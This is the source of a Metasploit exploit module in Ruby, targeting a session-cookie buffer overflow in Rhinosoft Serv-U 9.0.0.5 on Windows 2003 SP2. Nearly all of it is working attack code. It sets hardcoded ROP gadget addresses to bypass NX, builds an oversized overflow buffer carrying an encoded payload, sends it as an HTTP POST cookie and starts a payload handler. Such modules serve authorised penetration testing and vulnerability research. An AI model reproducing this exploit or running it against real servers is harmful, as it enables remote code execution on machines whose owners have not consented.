110 lines
3.1 KiB
Ruby
110 lines
3.1 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Rhinosoft Serv-U Session Cookie Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in Rhinosoft Serv-U 9.0.0.5.
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Sending a specially crafted POST request with an overly long session cookie
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string, an attacker may be able to execute arbitrary code.
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},
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'Author' =>
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[
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'Nikolas Rangos <nikolaos[at]rangos.de>',
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'M.Yanagishita <megumi1990[at]gmail.com>',
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'jduck'
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],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '59772' ],
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[ 'URL', 'http://rangos.de/ServU-ADV.txt' ],
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[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2009-November/071370.html' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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},
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 1024, # actually like 40960
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",
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'StackAdjustment' => -4096,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2003 SP2 English (NX)',
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{
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'FixESP' => 0x0fb02849, # add esp, 0x40c / ret @libeay32
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'FixESI' => 0x78a31e96, # pop esi / ret @mfc90u.dll
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'FixEBP' => 0x78a4ae99, # push esp / pop ebp / ret 0xc @mfc90u.dll
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'Ret' => 0x78a3e987, # ret 0x20 @mfc90u.dll
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'DisableNX' => 0x7c83f547, # NX Disable @ntdll.dll
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'JmpESP' => 0x78b2c753, # jmp esp @mfc90u.dll
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}
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],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Nov 1 2009'))
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register_options( [ Opt::RPORT(80) ], self.class )
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end
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def exploit
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# hit end of stack..
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#sploit = Rex::Text.pattern_create(75000, Rex::Text::DefaultPatternSets)
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sploit = Rex::Text.rand_text(1000) * 75
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# new SEH handler (point esp into buffer)
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sploit[41000,4] = [target['FixESP']].pack('V')
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# stack frame to bypass NX
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sploit[52+0,4] = [target['FixESI']].pack('V')
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sploit[52+4,4] = [0x10200].pack('V')
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sploit[52+8,4] = [target['FixEBP']].pack('V')
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sploit[52+12,4] = [target['Ret']].pack('V')
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sploit[52+16,4] = [target['JmpESP']].pack('V')
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sploit[52+20,4] = [target['DisableNX']].pack('V')
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sploit[52+24,2] = "\xeb\x20"
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sploit[52+40,payload.encoded.length] = payload.encoded
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req = "POST / HTTP/1.1\r\n"
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req << "Host: #{rhost}:#{rport}\r\n"
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req << "Cookie: Session="
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if rand(1)
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req << "_"
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end
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req << sploit.unpack('H*')[0]
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req << "\r\n"
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req << "\r\n";
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connect
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print_status("Trying target #{target.name}..." % target['Ret'])
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sock.put(req)
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select(nil, nil, nil, 1.5)
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handler
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end
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end
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